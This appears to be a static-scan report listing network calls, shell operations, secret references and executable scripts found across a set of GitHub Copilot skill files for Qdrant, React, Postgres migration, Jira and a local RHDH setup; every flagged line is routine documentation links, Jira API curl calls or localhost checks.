    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
  • Network accessline 43
    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)

harness/github-copilot/skills/qdrant-scaling/scaling-qps/SKILL.md

  • Network accessline 16
    - Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 17
    - Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 18
    - Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 22
    - Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/)
  • Network accessline 24
    - Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs)
  • Network accessline 32
    - Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment
  • Network accessline 34
    - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 44
    - Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 45
    - Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/)
  • Network accessline 46
    - In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query)
  • Network accessline 47
    - Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati

harness/github-copilot/skills/qdrant-search-quality/SKILL.md

  • Network accessline 33
    Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api.
  • Network accessline 100
    - [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)

harness/github-copilot/skills/qdrant-search-quality/diagnosis/SKILL.md

  • Network accessline 14
    - Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search)
  • Network accessline 16
    - Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://
  • Network accessline 18
    - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api)
  • Network accessline 26
    - Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 27
    - Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 28
    - Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 29
    - Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 30
    - ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 32
    Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum
  • Network accessline 38
    Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)

harness/github-copilot/skills/qdrant-search-quality/search-strategies/SKILL.md

  • Network accessline 15
    - Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search)
  • Network accessline 16
    - Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom
  • Network accessline 17
    - For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings)
  • Network accessline 18
    - RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf)
  • Network accessline 19
    - DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf)
  • Network accessline 26
    - Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/)
  • Network accessline 27
    - See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant
  • Network accessline 28
    - ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres
  • Network accessline 40
    - RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model
  • Network accessline 41
    - Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th
  • Network accessline 42
    - Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback)
  • Network accessline 43
    - Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en
  • Network accessline 49
    - Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr)
  • Network accessline 57
    - Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api)
  • Network accessline 58
    - Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy)
  • Network accessline 59
    - Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api)
  • Network accessline 64
    Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)

harness/github-copilot/skills/qdrant-version-upgrade/SKILL.md

  • Network accessline 31
    A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen
  • Network accessline 46
    3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo
  • Network accessline 47
    4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6.
  • Network accessline 48
    5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli.
  • Network accessline 87
    - [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor)
  • Network accessline 88
    - [qcloud CLI](https://github.com/qdrant/qcloud-cli)

harness/github-copilot/skills/quality-playbook/LICENSE.txt

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 184
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/skills/quality-playbook/SKILL.md

  • Network accessline 11
    metadata:   author: "Andrew Stellman"   github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 12
    author: "Andrew Stellman"   github: "https://github.com/andrewstellman/quality-playbook"   version: "1.5.6"
  • Network accessline 13
    github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 55
    > Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook
  • Network accessline 56
    > https://github.com/andrewstellman/quality-playbook
  • Network accessline 255
    - https://github.com/andrewstellman/quality-playbook

harness/github-copilot/skills/quality-playbook/agents/calibration_orchestrator.md

  • Dangerous shell operationline 99
    3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>

harness/github-copilot/skills/quality-playbook/agents/quality-playbook-claude.agent.md

  • Network accessline 58
    **If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.

harness/github-copilot/skills/quality-playbook/agents/quality-playbook.agent.md

  • Network accessline 54
    > The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):

harness/github-copilot/skills/quality-playbook/quality_gate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/quality-playbook/references/extended-guide.md

  • Network accessline 1081
    > Generated by [Quality Playbook](https://github.com/andrewstellman/quality-playbook) v1.5.3 — Andrew Stellman
  • Network accessline 1088
    # Generated by Quality Playbook v1.5.6 — https://github.com/andrewstellman/quality-playbook

harness/github-copilot/skills/quality-playbook/references/review_protocols.md

  • Access to secretsline 425
    [Credential-related source omitted]

harness/github-copilot/skills/react18-lifecycle-patterns/references/componentWillMount.md

  • Network accessline 57
    componentWillMount() {     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 58
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 59
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 77
    // All side effects move here - runs after first render     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 78
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 79
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 136
    componentWillMount() {   this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 137
    this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B     .then(items => this.setState({ items, loading: false }));
  • Network accessline 138
    fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 151
    componentDidMount() {   fetch('/api/items').then(r => r.json())    // Case B → componentDidMount
  • Network accessline 152
    fetch('/api/items').then(r => r.json())    // Case B → componentDidMount

harness/github-copilot/skills/react19-concurrent-patterns/references/react19-suspense.md

  • Network accessline 88
    // Raw promise (not recommended in production): function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 89
    function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));   return <pre>{JSON.stringify(data, null, 2)}</pre>;
  • Network accessline 90
    const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 111
    // Only create promise once per id:   const dataPromise = useMemo(() =>      fetch(`/api/data/${id}`).then(r => r.json()),
  • Network accessline 112
    const dataPromise = useMemo(() =>      fetch(`/api/data/${id}`).then(r => r.json()),     [id]
  • Network accessline 113
    fetch(`/api/data/${id}`).then(r => r.json()),

harness/github-copilot/skills/resemble-detect/LICENSE

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 195
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/skills/resemble-detect/SKILL.md

  • Network accessline 5
    license: Apache-2.0 metadata:   compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection.
  • Network accessline 6
    metadata:   compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. ---
  • Network accessline 7
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Network accessline 24
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 25
    - Base docs URL: <https://docs.resemble.ai/welcome>.
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 71
    {   "url": "https://example.com/suspect.mp4",
  • Network accessline 72
    "url": "https://example.com/suspect.mp4",
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Network accessline 204
    - [Resemble AI dashboard](https://app.resemble.ai)
  • Network accessline 205
    - [Resemble documentation](https://docs.resemble.ai/welcome)

harness/github-copilot/skills/resemble-detect/references/api-reference.md

  • Network accessline 7
    - **Base URL**: `https://docs.resemble.ai/welcome`
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 19
    {   "url": "https://example.com/media.mp4",
  • Network accessline 20
    "url": "https://example.com/media.mp4",
  • Network accessline 55
    "consistency": "0.91",   "aggregated_score": "0.92",   "image": "https://{example-url}"
  • Network accessline 56
    "aggregated_score": "0.92",   "image": "https://{example-url}" }
  • Network accessline 57
    "image": "https://{example-url}"
  • Network accessline 70
    "label": "fake",   "score": 0.87,   "image": "https://{example-url}",
  • Network accessline 71
    "score": 0.87,   "image": "https://{example-url}",   "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 72
    "image": "https://{example-url}",
  • Network accessline 73
    "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 105
    { "url": "https://example.com/audio.mp3", "json": true }
  • Network accessline 175
    {   "url": "https://example.com/image.png",
  • Network accessline 176
    "url": "https://example.com/image.png",
  • Network accessline 195
    { "url": "https://example.com/suspect-image.png" }
  • Network accessline 217
    {   "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 218
    "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 226
    {   "audio_url": "https://example.com/unknown-speaker.wav",
  • Network accessline 227
    "audio_url": "https://example.com/unknown-speaker.wav",

harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md

  • Network accessline 182
    - Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
  • Network accessline 183
    - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)

harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md

  • Network accessline 144
    - [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
  • Network accessline 145
    - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)

harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md

  • Network accessline 171
    - [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html)
  • Network accessline 172
    - [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm)
  • Network accessline 173
    - [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)

harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md

  • Network accessline 257
    - [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html)
  • Network accessline 258
    - [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html)
  • Network accessline 259
    - [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)

harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md

  • Network accessline 146
    - [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 147
    - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 148
    - [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)

harness/github-copilot/skills/rhdh-jira/references/assign.md

  • Network accessline 43
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
  • Network accessline 60
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 84
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 209
    curl -s -X PUT \
  • Network accessline 211
    -H "Content-Type: application/json" \   -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
  • Network accessline 213
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"

harness/github-copilot/skills/rhdh-jira/references/auth.md

  • Network accessline 5
    **Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution.
  • Network accessline 31
    The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`.
  • Network accessline 45
    CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net"
  • Network accessline 46
    JIRA_BASE="https://redhat.atlassian.net"
  • Dangerous shell operationline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 65
    The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value 

harness/github-copilot/skills/rhdh-jira/references/duplicates.md

  • Network accessline 37
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/skills/rhdh-jira/references/graphql-queries.md

  • Network accessline 5
    **Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below).
  • Network accessline 25
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 33
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 43
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 76
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 90
    curl -s -u "$AUTH" -X POST \
  • Network accessline 112
    # Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \
  • Network accessline 113
    curl -s -u "$AUTH" -X POST \
  • Network accessline 143
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 168
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \

harness/github-copilot/skills/rhdh-jira/references/plan.md

  • Network accessline 40
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/skills/rhdh-jira/references/refine.md

  • Network accessline 55
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 110
    curl -s -u "$AUTH" \
  • Network accessline 111
    "https://redhat.atlassian.net/rest/api/3/issue/ISSUE_KEY/comment?orderBy=-created&maxResults=5" \

harness/github-copilot/skills/rhdh-jira/references/release.md

  • Network accessline 31
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/skills/rhdh-jira/references/rest-api-fallback.md

  • Network accessline 26
    curl -s -o jira-openapi.json \
  • Network accessline 27
    'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 61
    # List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \
  • Dangerous shell operationline 62
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/field' |    python -c "
  • Network accessline 62
    curl -s -u "$AUTH" \
  • Network accessline 63
    'https://redhat.atlassian.net/rest/api/3/field' | \
  • Dangerous shell operationline 77
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' |    python -c "
  • Network accessline 77
    curl -s -u "$AUTH" \
  • Network accessline 78
    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \
  • Network accessline 93
    |--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla
  • Network accessline 94
    | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 95
    | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint |
  • Network accessline 104
    curl -s -X PUT \
  • Network accessline 106
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10028": 5}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 108
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 114
    curl -s -X PUT \
  • Network accessline 116
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10795": {"value": "M"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 118
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 126
    curl -s -X PUT \
  • Network accessline 128
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 130
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 138
    curl -s -X PUT \
  • Network accessline 140
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 142
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 163
    curl -s -u "$AUTH" \
  • Network accessline 164
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"

harness/github-copilot/skills/rhdh-jira/references/sprint-report.md

  • Network accessline 38
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/skills/rhdh-jira/references/to-epic.md

  • Network accessline 100
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 102
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-XXX"

harness/github-copilot/skills/rhdh-jira/references/to-issue.md

  • Network accessline 154
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 156
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-YYY"

harness/github-copilot/skills/rhdh-jira/references/update-jira-status.md

  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/skills/rhdh-jira/scripts/parse_issues.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/rhdh-jira/scripts/setup.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 211
    else:         print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 212
    print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")         return
  • Network accessline 213
    print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 239
    print("         Then: chmod 600 .jira-token")         print("         REST API/GraphQL fallback will not work without it.")         print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
  • Network accessline 241
    print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")

harness/github-copilot/skills/rhdh-local/references/customization-system.md

  • Access to secretsline 23
    [Credential-related source omitted]

harness/github-copilot/skills/rhdh-local/references/env-reference.md

  • Network accessline 25
    |----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Network accessline 26
    | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID |
  • Network accessline 27
    | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 36
    | Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 37
    |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user |
  • Network accessline 38
    | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 47
    | Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 48
    |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token |
  • Network accessline 49
    | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 80
    | Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Network accessline 81
    |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use |
  • Network accessline 82
    | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Network accessline 134
    | `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Network accessline 135
    | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) |
  • Network accessline 136
    | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Access to secretsline 149
    [Credential-related source omitted]

harness/github-copilot/skills/rhdh-local/references/troubleshooting.md

  • Network accessline 17
    # 2. Test at http://localhost:7007
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 102
    # Manual checks curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 103
    curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 104
    curl http://localhost:7007                        # Frontend

harness/github-copilot/skills/rhdh-local/rhdh_local/__init__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh-local/rhdh_local/backup.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh-local/rhdh_local/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 163
    rhdh_running = False     try:         with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 164
    try:         with socket.create_connection(("localhost", 7007), timeout=1):             rhdh_running = True
  • Network accessline 165
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 170
    if rhdh_running:         checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")
  • Network accessline 171
    checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")     else:
  • Network accessline 172
    fmt.log_ok("RHDH: running on http://localhost:7007")
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 439
    [Credential-related source omitted]

harness/github-copilot/skills/rhdh-local/rhdh_local/compose.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh-local/rhdh_local/health.py

  • Executable scriptline 1
    Executable file
  • Network accessline 62
    port_open = False     try:         with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 63
    try:         with socket.create_connection(("localhost", 7007), timeout=2):             port_open = True
  • Network accessline 64
    with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 72
    name="rhdh_port",                 status="pass",                 message="RHDH reachable on http://localhost:7007",
  • Network accessline 73
    status="pass",                 message="RHDH reachable on http://localhost:7007",             )
  • Network accessline 74
    message="RHDH reachable on http://localhost:7007",
  • Network accessline 111
    if port_open:         try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
  • Network accessline 112
    try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:                 body = resp.read().decode()
  • Network accessline 113
    with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:

